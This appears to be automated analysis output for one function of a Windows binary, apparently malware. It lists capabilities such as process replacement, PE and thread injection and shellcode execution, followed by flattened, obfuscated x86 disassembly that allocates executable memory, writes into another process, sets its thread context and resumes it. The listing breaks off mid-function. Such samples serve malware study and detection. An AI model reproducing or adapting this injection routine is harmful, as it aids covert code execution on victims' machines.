Function at 0x10008d90
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x194
mov eax, dword [0x1006b204]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x19c], 0x49e5d12f
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a0], eax
sub eax, 0x82c9b22d
je 0x1000d55f
jmp 0x10008dcc
mov eax, dword [ebp - 0x1a0]
sub eax, 0x835281f6
je 0x1000dc71
jmp 0x10008de2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8386194d
je 0x1000ce8f
jmp 0x10008df8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x840e96ed
je 0x1000d9d1
jmp 0x10008e0e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x85c7701d
je 0x1000e224
jmp 0x10008e24
mov eax, dword [ebp - 0x1a0]
sub eax, 0x883fd601
je 0x1000e067
jmp 0x10008e3a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8a538727
je 0x1000abf0
jmp 0x10008e50
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8cc8d0a2
je 0x1000b7fb
jmp 0x10008e66
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8d64d773
je 0x1000cee0
jmp 0x10008e7c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8e0c33d0
je 0x1000ca33
jmp 0x10008e92
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8e7ed03e
je 0x1000df14
jmp 0x10008ea8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x901e65ef
je 0x1000a6bf
jmp 0x10008ebe
mov eax, dword [ebp - 0x1a0]
sub eax, 0x90827c58
je 0x1000e058
jmp 0x10008ed4
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9104d615
je 0x1000c28c
jmp 0x10008eea
mov eax, dword [ebp - 0x1a0]
sub eax, 0x934872de
je 0x1000cf53
jmp 0x10008f00
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9378d23b
je 0x1000c4de
jmp 0x10008f16
mov eax, dword [ebp - 0x1a0]
sub eax, 0x94884913
je 0x1000c1a0
jmp 0x10008f2c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x94cd7568
je 0x1000c253
jmp 0x10008f42
mov eax, dword [ebp - 0x1a0]
sub eax, 0x96412d9f
je 0x1000e5d7
jmp 0x10008f58
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9726fd7b
je 0x1000cdc8
jmp 0x10008f6e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9763191a
je 0x1000c723
jmp 0x10008f84
mov eax, dword [ebp - 0x1a0]
sub eax, 0x98266566
je 0x1000e4fd
jmp 0x10008f9a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x98dc6976
je 0x1000a87e
jmp 0x10008fb0
mov eax, dword [ebp - 0x1a0]
sub eax, 0x99fdbd7c
je 0x1000e5b9
jmp 0x10008fc6
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9ce530e3
je 0x1000d87e
jmp 0x10008fdc
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9f0c24a6
je 0x1000b923
jmp 0x10008ff2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9f63236d
je 0x1000d1ec
jmp 0x10009008
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9fab9fc0
je 0x1000b559
jmp 0x1000901e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9fb812f0
je 0x1000e148
jmp 0x10009034
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa02633f7
je 0x1000e34c
jmp 0x1000904a
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa0a423e4
je 0x1000c381
jmp 0x10009060
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa1c52795
je 0x1000b2f8
jmp 0x10009076
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa1ee2410
je 0x1000c91e
jmp 0x1000908c
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa2eb21fc
je 0x1000b85f
jmp 0x100090a2
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa376b70c
je 0x1000d9ef
jmp 0x100090b8
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa3f00fca
je 0x1000bf59
jmp 0x100090ce
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa5108870
je 0x1000adab
jmp 0x100090e4
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa5b5a5b8
je 0x1000e6e8
jmp 0x100090fa
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa6809138
je 0x1000c1e9
jmp 0x10009110
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa7a2cb13
je 0x1000bd9f
jmp 0x10009126
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa7cf8006
je 0x1000dc4c
jmp 0x1000913c
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa8894571
je 0x1000b785
jmp 0x10009152
mov eax, dword [ebp - 0x1a0]
sub eax, 0xaa16fa8d
je 0x1000a6ea
jmp 0x10009168
mov eax, dword [ebp - 0x1a0]
sub eax, 0xaaa3d2e0
je 0x1000dc62
jmp 0x1000917e
mov eax, dword [ebp - 0x1a0]
sub eax, 0xad8f3467
je 0x1000ccd5
jmp 0x10009194
mov eax, dword [ebp - 0x1a0]
sub eax, 0xae04b837
je 0x1000d919
jmp 0x100091aa
mov eax, dword [ebp - 0x1a0]
sub eax, 0xaef022a8
je 0x1000be62
jmp 0x100091c0
mov eax, dword [ebp - 0x1a0]
sub eax, 0xaf48793e
je 0x1000a65f
jmp 0x100091d6
mov eax, dword [ebp - 0x1a0]
sub eax, 0xafacd3fd
je 0x1000d826
jmp 0x100091ec
mov eax, dword [ebp - 0x1a0]
sub eax, 0xafae874c
je 0x1000c12a
jmp 0x10009202
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb0ab2611
je 0x1000e2d0
jmp 0x10009218
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb2df3334
je 0x1000c0a5
jmp 0x1000922e
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb2e385f2
je 0x1000e319
jmp 0x10009244
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb440e9c4
je 0x1000b0df
jmp 0x1000925a
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb65f0552
je 0x1000e2c1
jmp 0x10009270
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb67df3be
je 0x1000c274
jmp 0x10009286
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb69eebc0
je 0x1000bf10
jmp 0x1000929c
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb6d3dd6d
je 0x1000d14d
jmp 0x100092b2
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb7a8a8ca
je 0x1000aff4
jmp 0x100092c8
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb90c332b
je 0x1000e35b
jmp 0x100092de
mov eax, dword [ebp - 0x1a0]
sub eax, 0xba17523c
je 0x1000e6f7
jmp 0x100092f4
mov eax, dword [ebp - 0x1a0]
sub eax, 0xba365d21
je 0x1000c7d9
jmp 0x1000930a
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbcc54cb0
je 0x1000cbff
jmp 0x10009320
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbd2581d9
je 0x1000dcc2
jmp 0x10009336
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbd6d2d49
je 0x1000e724
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0x4de72c40
sub edx, 1
add edx, 0x4de72c40
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0ab2611
mov ecx, 0x3647e861
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
mov ax, word [eax]
mov word [ebp - 0x134], ax
mov dword [ebp - 0x19c], 0xaa16fa8d
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0xbe6fd534
sub edx, 1
sub edx, 0xbe6fd534
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa7cf8006
mov ecx, 0x274c051d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x718fae11
mov ecx, 0x56ad6ba8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [ebp - 0x118]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x111], al
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7eb4d578
mov ecx, 0xd239ad6e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0x96387fe
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0x240c135a
sub edx, 1
sub edx, 0x240c135a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x835281f6
mov ecx, 0xf797b003
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
add edx, 0xcf2cb375
sub edx, 1
sub edx, 0xcf2cb375
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa02633f7
mov ecx, 0x44abbe1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov dl, byte [ebp - 0x101]
mov eax, 0x3308b9c3
mov ecx, 0x54dcf94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [ebp - 0x100]
mov edx, dword [eax]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0xc6e880a
sub edx, 1
sub edx, 0xc6e880a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf9830074
mov ecx, 0xcce29034
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
sub edx, 0x9fd270ca
sub edx, 1
add edx, 0x9fd270ca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x901ea62
mov ecx, 0x8cc8d0a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [ebp - 0x174]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xec], eax
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0xf6fc2777
sub edx, 1
sub edx, 0xf6fc2777
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x901ea62
mov ecx, 0xa2eb21fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0x384a0b04
jmp 0x1000e72e
mov dword [ebp - 0x178], 0
mov eax, dword [ebp - 0x154]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x19c], 0x2db2dd9e
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xef217e29
mov ecx, 0xdb722b3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov dl, byte [ebp - 0xc5]
mov eax, 0x570b864e
mov ecx, 0x11cd32da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc1bfd82d
mov ecx, 0xa3f00fca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xbc], eax
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
add edx, 0xc592f16a
sub edx, 1
sub edx, 0xc592f16a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc1bfd82d
mov ecx, 0x788d7aa8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0xd9d92dd7
jmp 0x1000e72e
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
add edx, 0xb9529718
sub edx, 1
sub edx, 0xb9529718
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1781d133
mov ecx, 0x94884913
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67dce96b
mov ecx, 0xa6809138
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
cmp dword [ebp - 0x168], 0
setne al
and al, 1
mov byte [ebp - 0xb5], al
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67dce96b
mov ecx, 0x4605439c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov dl, byte [ebp - 0xb5]
mov eax, 0xb6d3dd6d
mov ecx, 0xb67df3be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x19c], 0x9104d615
jmp 0x1000e72e
mov edx, dword [ebp - 0xb4]
mov esi, dword [ebp - 0x154]
mov eax, 0xb6d3dd6d
mov ecx, 0x4c164923
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 4]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x19c], 0x178c8144
jmp 0x1000e72e
mov eax, dword [ebp - 0x194]
cmp eax, dword [ebp - 0x18c]
setb al
and al, 1
mov byte [ebp - 0xa5], al
mov dword [ebp - 0x19c], 0x5077baa3
jmp 0x1000e72e
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa0]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0xb95f578c
or eax, edx
or ecx, 0xb95f578c
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x9a], al
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0xe44cbfb1
sub edx, 1
sub edx, 0xe44cbfb1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5c74280
mov ecx, 0x6b7ef68e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x883fd601
mov ecx, 0x20db7076
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0x3cc900c4
jmp 0x1000e72e
mov dl, byte [ebp - 0x99]
mov eax, 0xad8f3467
mov ecx, 0x2dbe5171
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
add edx, 0x6805636d
sub edx, 1
sub edx, 0x6805636d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x99fdbd7c
mov ecx, 0x519a3802
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2110fd2b
mov ecx, 0xf9f3c385
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0x21bad86f
sub edx, 1
add edx, 0x21bad86f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76044325
mov ecx, 0x7f35ba63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0x752cf3b
sub edx, 1
add edx, 0x752cf3b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3ab2924f
mov ecx, 0x8d64d773
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76044325
mov ecx, 0x56f023a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x634266d0
mov ecx, 0x23e63fb6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [ebp - 0x164]
add eax, 0x4808c193
add eax, 8
sub eax, 0x4808c193
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x19c], 0x2d09c6ee
jmp 0x1000e72e
mov eax, dword [ebp - 0x8c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x90]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x154]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x85], al
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
sub edx, 0x9e3b3a43
sub edx, 1
add edx, 0x9e3b3a43
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x96412d9f
mov ecx, 0x4fe2b8c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x251f1b7e
mov ecx, 0xcea224c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0xde81526e
jmp 0x1000e72e
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
add ecx, 0x164cd5bb
add ecx, eax
sub ecx, 0x164cd5bb
mov eax, dword [ebp - 0x158]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc269cdd6
mov ecx, 0xae04b837
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf1137dc4
mov ecx, 0xf4ef89a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x19c], 0xa376b70c
jmp 0x1000e72e
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x19c], 0x3eeb251c
jmp 0x1000e72e
mov ax, word [ebp - 0x134]
mov dword [ebp - 0x19c], 0x274c051d
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0x34803110
jmp 0x1000e72e
mov eax, dword [0x1006c488]
mov ecx, dword [0x1006c484]
mov edx, eax
sub edx, 0xbbd0c6c9
sub edx, 1
add edx, 0xbbd0c6c9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa5b5a5b8
mov ecx, 0xbd2581d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa5b5a5b8
mov ecx, 0x247e78f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov ecx, dword [0x1006c488]
mov eax, dword [0x1006c484]
mov edx, ecx
add edx, 0xeae9bc2b
sub edx, 1
sub edx, 0xeae9bc2b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe5119ec4
mov ecx, 0xcaf01072
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000e72e
mov dword [ebp - 0x19c], 0x265caff2
jmp 0x1000e72e
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x178]
mov ecx, dword [ecx]
add eax, 0xe1278d4d
add eax, ecx
sub eax, 0xe1278d4d
mov ecx, dword [ebp - 0x188]
mov edx, dword [ebp - 0x194]
movzx ecx, word [ecx + edx*2]
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, 0xffffffff
xor edx, 0x3592bca0
or ecx, esi
or edx, 0x3592bca0
xor ecx, 0xffffffff
and ecx, edx
add eax, 0x41e008a5
add eax, ecx
sub eax, 0x41e008a5
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x19c], 0x20db7076
jmp 0x1000e72e
mov ecx, dword [0x1006c488]
